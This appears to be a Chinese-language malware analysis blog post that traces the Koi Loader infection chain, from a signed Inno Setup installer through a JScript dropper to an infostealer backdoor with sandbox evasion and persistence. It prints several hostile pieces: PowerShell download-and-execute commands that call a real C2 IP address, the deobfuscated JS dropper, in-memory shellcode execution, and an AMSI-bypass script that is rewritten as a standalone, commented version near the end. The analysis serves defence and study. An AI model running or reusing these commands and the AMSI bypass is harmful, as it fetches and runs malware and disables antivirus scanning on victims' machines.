HASH

SHA256:acbf16b92087e3b7c77883cf48984d02d7c4855344543b3a770482300fc31e9a

MD5:ecbf4439b0b962df100667912ac22b20

SHA1:e6ae6683b1e4d5511520604bd4de6d5b407e3818

Koi Loader

样本拿到是一个有正常数字签名的exe文件,丢沙箱里可以知道这是一个Inno Setup安装包类型的文件

**InnoExtractor **工具可以实现解包操作

Koi Loader

执行的powershell命令存在CompiledCode.bin中

Koi Loader

后面直接分析js脚本(

Inno Setup分析

这个先通过沙箱分析可以大致知道其行为

Koi Loader

Koi Loader

先加载程序所需使用的dll,之后释放在内存中的文件,常规的操作,先使用VirtualQuery获取指定区域的信息,然后使用VirtualProtect修改一下内存区域保护属性

Koi Loader

Koi Loader

通过 GetUserDefaultLangID 获取当前用户使用的默认语言,如果属于硬编码的语言 ID 之一,则木马程序结束运行

Koi Loader

Koi Loader

之后使用QueryPerformanceCounter检测时间间隔,检测沙箱

Koi Loader

使用GetFullPathNameW api获取到临时文件夹路径

使用createfile api在临时文件目录下创建一个is-XXXXX.tmp为名称的文件夹

Koi Loader

Koi Loader

ReadFile、SetFilePointer、GetFileSize三个函数,开始读取内存中的文件到指定内存区域,然后使用WirteFile api写入文件

Koi Loader

使用CreateProcessW api创建一个新线程然后运行上面存到临时文件目录下的文件(这里每次都用不同的参数),

Koi Loader

调用Deletedirectory删除释放的临时文件

Koi Loader

判断是否使用LookupPrivilegeValueW获取到关机权限的LUID

Koi Loader

临时文件分析

Koi Loader

Koi Loader

通过第一个样本在沙箱中的行为分析来看,这个样本应该实现了网络通信,从远程服务器下载js脚本

Koi Loader

TEB加载程序所需dll,然后就是处理程序的对话框

Koi Loader

调用user.dll中的DisableProcessWindowsGhosting禁用当前进程的窗口“幽灵”效果,然后使用SetWindowTextW设置窗口的标题,最后使用ShowWindow让程序的窗口最小化

Koi Loader

通过分析发现33行的函数调用了powershell实现了下载js脚本的操作

Koi Loader

第5行的函数获取当前操作系统的信息并判断,

Koi Loader

这个函数主要有两个功能,获取该系统的SID以及使用QueryPerformanceCounter测量 时间间隔

Koi Loader

AllocateAndInitializeSid初始化和分配一个SID,通过GetVersion获取当前操作系统版本,并判断当前系统信息是否大于5,Windows2000 version=5

加载advapi32.dll中的CheckTokenMembership api检测上面分配的访问令牌是否为特定SID

Koi Loader

30-33行都在进行调用上面loader.exe中的dbkFCallWrapperAddr函数操作,而这个函数的实现写在了exe文件的bss段 Koi Loader

第545行的函数通过GetWindowsDirectoryW函数获取C:\WINDOWS路径下的文件夹

Koi Loader

通过一系列函数调用获取 Windows 系统及其子目录的路径, 获取 SystemDrive 等环境变量的值,确保程序能够找到必要的系统路径

Koi Loader

在601行的函数实现了创建新进程然后运行powershell

Koi Loader

Koi Loader

传入C:\Windows\System32\WindowsPowerShell\v1.0\powershell运行powershell参数为C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -command IWR -UseBasicParsing -Uri '[http://79.124.78.109/wp-includes/neocolonialXAW.php'](http://79.124.78.109/wp-includes/neocolonialXAW.php') -OutFile ($env:temp+'\vqPM0l4stR.js'); wscript ($env:temp+'\vqPM0l4stR.js')

Koi Loader

总结:临时文件通过访问调用了上面loader程序的导出函数,获取到执行powershell的参数 ,然后创建新线程执行powershell然后从远程服务器下载js脚本,然后自动运行js脚本

vqPM0l4stR.js

md5:f29e01731119d5681214e857bba79eeb

这个文件才是整个样本的核心文件,以上的分析只是针对Inno Setup安装包释放流程和文件的分析

//Scripting.FileSystemObject

var f1="Scr",f2="ing.Fi",f3="stemOb"

var fso = new ActiveXObject(f1+"ipt"+f2+"leSy"+f3+"ject")



// WScript.Shell

var w1="WSc",w2="riPt",w4="eLl"

var wsh=w1+w2+".sH"+w4

var bbj=new ActiveXObject(wsh)



// 通过 WMI 获取当前处理器的地址宽度,并根据宽度选择合适的系统文件夹

var fldr=GetObject("winmgmts:root\\cimv2:Win32_Processor='cpu0'").AddressWidth==64?"SysWOW64":"System32"



//powershell.exe

var rd=bbj.ExpandEnvironmentStrings("%SYSTEMROOT%")+"\\"+fldr+"\\WindowsPowerShell\\v1.0\\powershell.exe"



//// 构造一个脚本文件名称,取决于电脑的 GUID

var agn='r'+bbj.RegRead('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid')+'r.js'

if (WScript.ScriptName != agn) {            // 如果脚本文件名不匹配,说明已经运行过,不再运行

  var fs5="yFi"

  try {

    // 复制当前脚本到 %programdata% 目录下

    fso["Cop"+fs5+"le"](WScript.ScriptFullName, bbj.ExpandEnvironmentStrings("%programdata%")+"\\"+agn)

  } catch (e) {}

}



// 下载并运行木马

var mtx_name="7zSHNEK8VRT4"         // 随机生成一个名称

var mtx_file = bbj.ExpandEnvironmentStrings("%t"+"emp%")+"\\"+mtx_name

var fs1="leteFi"     

var fs2="leExis"     

try {

  fso["De"+fs1+"le"](mtx_file)

} catch (e) {}



//使用powershell.exe下载并运行木马

if (!fso["Fi"+fs2+"ts"](mtx_file))

{

  bbj.Run(rd+" -command \"$l1 = '[http://79.124.78.109/wp-includes/phyllopodan7V7GD.php';](http://79.124.78.109/wp-includes/phyllopodan7V7GD.php';) $l2 = '[http://79.124.78.109/wp-includes/barasinghaby.ps1';](http://79.124.78.109/wp-includes/barasinghaby.ps1';) $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '" + mtx_name + "'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)\"", 0)

}

JS 脚本首先将自身复制到 ”%programdata%” 目录下,文件名格式为 ”r[machine_guid]r.js”

调用powershell从两个URL处下载代码并执行

Koi Loader

$vl1 = ("guFf4v6alJqHMqE8PSiWf8iSpcpQIR0DpatQMqE8PSiWf8iSvTuIsfOIO1gCMqE8PSiWf8iSsLZpCAZYC0qiMqE8PSiWf8iSfE7H3sbUA6LDMqE8PSiWf8iSfUvP5CtaCuQj" -match "MqE8PSiWf8iS");
 $v2=$c.GetFields("NonPublic,Static");Foreach($v3 in $v2) {if ($v3.Name -like "*am*ed") {$v3.SetValue($null, $vl1)}};

这个代码配合之前下载的JS脚本中的powershell代码,将 amsiInitFailed设为true

这个脚本同时还下载了一个.ps1文件,用于powershell执行

Koi Loader

hxxp://79.124.78.109/wp-includes/guestwiseYtHA.exe

Koi Loader

VirtualAlloc 分配内存, 获取 CreateThread 函数的地址,创建新线程 ,使用WaitForSingleObject函数等待线程创建完成,

$x=$VA.Invoke(0,$sc.Length, 0x3000, 0x40)
$marshal::Copy($sc, 0, $x, $sc.Length);

guestwiseYtHA.exe机械码存到申请的内存中,最后两行代码调用 CreateThread 来执行存储在 $x(即 $sc)中的代码

这段代码就是从远程URL下载一个可执行文件,并在内存中分配空间来执行下载的代码(这种可以实现不触及磁盘的情况下执行代码

guestwiseYtHA.exe

Koi Loader

Koi Loader

16行是解密并运行back door,前面就是处理GDI

Koi Loader

处理资源,使用xor解密 back door ,

Koi Loader

直接将这个back door提取解密,或者解密之后dump出来

back door

Koi Loader

Koi Loader

使用GetUserDefaultLangID获取当前用户使用的默认语言,如果属于硬编码的语言 ID 之一,则木马程序结束运行

17行的函数实现了反沙箱检测

Koi Loader

EnumDisplayDevicesW枚举系统中的显示设备,,如果检测正常就跳转到,检测Hyper-V、Parallels Display Adapter、Red Hat QXL controller(这三个检测的是各个主流虚拟化环境),如果没有检测到虚拟化环境就跳转回到LABEL_8,然后检测C:\WINDOWS\System32\路径下是否存在VBoxService.exe、VBoxTray.exe

Koi Loader

判断Desktop和Document上是否存在特定文件 Koi Loader

判断C:\Users\user\AppData\Roaming\路径下有没有Jaxx\Local Storage\wallet.dat文件(检测比特币钱包),然后判断计算机用户名是否属于特定用户名,以及判断计算机名称是否等于特定名称

Koi Loader

判断系统桌面上是否存在.doc、docx、xls、xlsx文件(检测office),判断该程序是否是使用powershell启动的

检测不过patch一下,跳转分析后面部分的函数

创建计划任务实现持久化

Koi Loader

通过使用COM组件创建计划任务实现持久化,任务名称用firefox进行伪装,操作执行的是释放在%%ProgramData%路径下的86b7fed-65a6-42bd-b5f8-25e36ea1f5e7r.js脚本

Koi Loader

并将这个目录放入Windows defende白名单

向c2发送init信息,

Koi Loader

使用CryptGenRandom函数生成加密的安全随机数,然后通过40行的inter_connect函数实现远程连接 79.124.78.109主机, Koi Loader

从远程获取窃密程序然后通过powershell执行

Koi Loader

# 首先,定义要设置的值
$vl1 = "guFf4v6alJqHMqE8PSiWf8iSpcpQIR0DpatQMqE8PSiWf8iSvTuIsfOIO1gCMqE8PSiWf8iSsLZpCAZYC0qiMqE8PSiWf8iSfE7H3sbUA6LDMqE8PSiWf8iSfUvP5CtaCuQj"

# 获取 AMSI 的类型
$c = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.FullName -like "*amsi*" }

# 获取非公共静态字段
$v2 = $c.GetFields("NonPublic,Static")

# 遍历所有字段并查找 amsiInitFailed
foreach ($v3 in $v2) {
    if ($v3.Name -like "*amsiInitFailed*") {
        # 设置值为 $vl1
        $v3.SetValue($null, $vl1)
        Write-Host "amsiInitFailed has been set to true."
    }
}